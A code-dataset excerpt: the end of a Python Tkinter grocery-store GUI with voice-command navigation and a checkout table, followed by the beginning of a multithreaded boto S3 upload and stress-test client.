text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Dairy(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Dairy.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Deli(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Deli.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Dry_goods(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("Dry decorations/Goods.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Health_beauty(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("Health decorations/Beauty.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Hygiene(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Hygiene.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Meat(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Meat.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Produce(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Produce.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Seafood(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Seafood.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Checkout(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="Your Shopping Cart", font=(font_name, 12, 'bold')) label.place(relx = 0.27, rely = 0.075, anchor = 'center') self.build_tree() button = tk.Button(self, text="Update", font=(font_name, 10), width=21, height=1, command=lambda: self.update(controller)) button.place(relx = 0.7, rely = 0.075, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=21, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.3, rely = 0.9, anchor = 'center') button = tk.Button(self, text="Finish", font=(font_name, 10), width=21, height=1, command=lambda: self.popup(controller)) button.place(relx = 0.7, rely = 0.9, anchor = 'center') def build_tree(self): shopping_list = nao.receipt() cols = ('No.', 'Item', 'Qty.', 'Price', 'Total') table = ttk.Treeview(self, columns = cols, show = 'headings', height=14) table.place(relx = 0.5, rely = 0.125, anchor = 'n') for i in table.get_children(): table.delete(i) table.column(cols[0], width = 30, anchor = 'center') table.column(cols[1], width = 225, anchor = 'w') table.column(cols[2], width = 30, anchor = 'center') table.column(cols[3], width = 40, anchor = 'center') table.column(cols[4], width = 50, anchor = 'center') table.heading(cols[0], text = cols[0]) table.heading(cols[1], text = cols[1], anchor = 'w') table.heading(cols[2], text = cols[2]) table.heading(cols[3], text = cols[3]) table.heading(cols[4], text = cols[4]) total = 0 for i in range(len(shopping_list)): value = shopping_list[i]['quantity']*shopping_list[i]['price'] total += value table.insert("", "end", values=(i+1, shopping_list[i]['item'], shopping_list[i]['quantity'], shopping_list[i]['price'], str(value)+'NTD' )) label = tk.Label(self, text="Total:", font=(font_name, 10)) label.place(relx = 0.12, rely = 0.84, anchor = 'w') label = tk.Label(self, text=str(total)+' NTD', font=(font_name, 10)) label.place(relx = 0.88, rely = 0.84, anchor = 'e') def update(self, controller): self.build_tree() controller.show_frame(Checkout) def popup(self, controller): popup = tk.Tk() popup.wm_title("Goodbye~") popup.geometry("275x100") label = ttk.Label(popup, text = "Thank you for shopping with us!", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.destroy() #---------------------main--------------------------- if __name__=='__main__': app = MainApp() app.title('mBot Market') app.geometry('500x450+300+300') app.mainloop()

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0.075361

0.053856

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0.047773

0.849412

0.842884

0.837654

0.833834

0.825563

0.821928

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0.041503

0.282136

48,870

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153

47.631579

0.727011

0.010211

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null

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1

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null

0

7

b5050360880f266454416dc4fb09402131c8bd57

28,891

py

Python

test/client_copy_multithreaded.py

flipkart-incubator/cerebro

e28e04b375d0236b0e24dc94e92a2e29b882319a

[ "Apache-2.0" ]

null

test/client_copy_multithreaded.py

flipkart-incubator/cerebro

e28e04b375d0236b0e24dc94e92a2e29b882319a

[ "Apache-2.0" ]

null

test/client_copy_multithreaded.py

flipkart-incubator/cerebro

e28e04b375d0236b0e24dc94e92a2e29b882319a

[ "Apache-2.0" ]

1

2021-06-10T04:04:01.000Z

import boto import boto.s3.connection import random from boto.s3.key import Key import logging import time import os import math import string import random import copy import hashlib from Queue import Queue from threading import Thread from boto.s3.cors import CORSConfiguration logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) #Create a file handler handler = logging.FileHandler('multiclient.log') handler.setLevel(logging.INFO) # create a logging format formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) # add the handlers to the logger logger.addHandler(handler) #Due to Pip related issues #from rgwadmin import RGWAdmin from filechunkio import FileChunkIO #Initial Set of Tests #Create a Bucket #Write 10000 Small Objects < 100 KB (Random) #Write 10000 Medium Objects < 1 - 10 MB (Random) #Write 10000 Large Objects < 10 - 200 MB (Random) #Get Objetcs #Do MD5SUM #Delete Obejects #Bucket Listing Should Be zero #Extend Test Case (Create Bucket Every 30 Mins) #Repeat the Steps #How to Catch Error #Intially log all the errors #Then Start Logging all the error codes as well class PoolWorker(Thread): def __init__(self,queue): super(PoolWorker,self).__init__() self._q=queue # Start as a BackGround Thread self.daemon=True self.start() #Overridden Run Method def run(self): logger.info('Starting Thread') #Run Forever while True: #Block on the Queue for Some Task, Queue is Synchronized (thread safe) func,arg=self._q.get() try: #Execute the Task func(*arg) except Exception as e: logger.error(e) """ Class Defining a Simple ThreadPool. The Queue Size is init at the time of creation of the pool The Enqueue Thread Will Block if the Queue if Full, automatically backpressuring the system Current Queue Size = 4, could be changed when system is tested across various conigurations """ class ThreadPool(object): def __init__(self,num_th): self._q=Queue(num_th) for _ in range(num_th): PoolWorker(self._q) def add_task(self,func,args): try: #Queue the Task self._q.put((func,args)) except Exception as e: logger.error(e) ctr=0 mpuctr=0 ctr=0 s3_conn=0 def startMPUTest(s3_conn, s3_conn_1, size): global mpuctr logger.info("Running MPU Test for Iteration -> "+str(mpuctr)) mpuctr = mpuctr + 1 #Create The Bucket chars = string.ascii_lowercase + string.digits pwdSize = 24 bucket_name = ''.join((random.choice(chars)) for x in range(pwdSize)) logger.info("Bucket Name -> "+bucket_name) try: s3_conn.create_bucket(bucket_name) except Exception, e: print e return logger.info("Bucket Created -> "+bucket_name) try: bucket = s3_conn.get_bucket(bucket_name) bucket1 = s3_conn_1.get_bucket(bucket_name) except Exception, e: logger.error("Caught Exception in Get Bucket") logger.error(e) try: #Start Multippart Upload filesize=200000000 with open("mpuobj.data", "wb") as fout: fout.write(os.urandom(200000000)) chunksize=12000000 chunkcount = int(math.ceil(filesize/chunksize)) header = { 'x-archive-queue-derive': '0' } mp = bucket.initiate_multipart_upload(os.path.basename("mpuobj.data"),headers=header) for i in range (chunkcount + 1): offset = chunksize * i bytes = min(chunksize, filesize - offset) with FileChunkIO( "mpuobj.data", 'r', offset=offset, bytes=bytes ) as fp: mp.upload_part_from_file( fp, part_num=i + 1, headers=header ) logger.info("MultiPart Upload in progress for Iteration "+str(i)) mp.complete_upload() except Exception, e: logger.error("Caught Exception in Uploading MPU Object") logger.error(e) logger.info("MultiPart Upload Done") #Get the File From Cluster try: objkey = bucket.get_key("mpuobj.data") toFileName = 'getobjs/'+"mpuobj.data" #print toFileName objkey.get_contents_to_filename(toFileName) logger.info("Got MPU File") except Exception, e: logger.error("Caught Exception in Getting file from Cluster ->"+"mpuobj.data") try: objkey = bucket1.get_key("mpuobj.data") toFileName = 'getobjs1/'+"mpuobj.data" #print toFileName objkey.get_contents_to_filename(toFileName) logger.info("Got MPU File 1") except Exception, e: logger.error("Caught Exception in Getting file from Cluster 1->"+"mpuobj.data") time.sleep(90) try: bucket.delete_key("mpuobj.data") time.sleep(30) s3_conn.delete_bucket(bucket) except Exception, e: logger.error("Error In Deleting MPU Object") def startSpecialObjectTest(s3_conn, s3_conn_1, sizeObj): global ctr longstrpath = "/some/file/long/dir/dcdcdcdxxxsxs/ccxc/" logger.info("Start Special Running Test for Iteration -> "+str(ctr)) ctr = ctr + 1 objectDict = {} bucket=0 bucket1=0 for i in range (128): chars = string.letters + string.digits pwdSize = 32 fileName = ''.join((random.choice(chars)) for x in range(pwdSize)) fileName = fileName + ".data" if i%2 == 0 : fileName = fileName + "!*$ " else : fileName = fileName + " " + "!*&%" + "fileName" objectDict[i]=fileName #Print the Dict #for key in objectDict.keys(): #print key, objectDict[key] #Create The Bucket chars = string.ascii_lowercase + string.digits pwdSize = 24 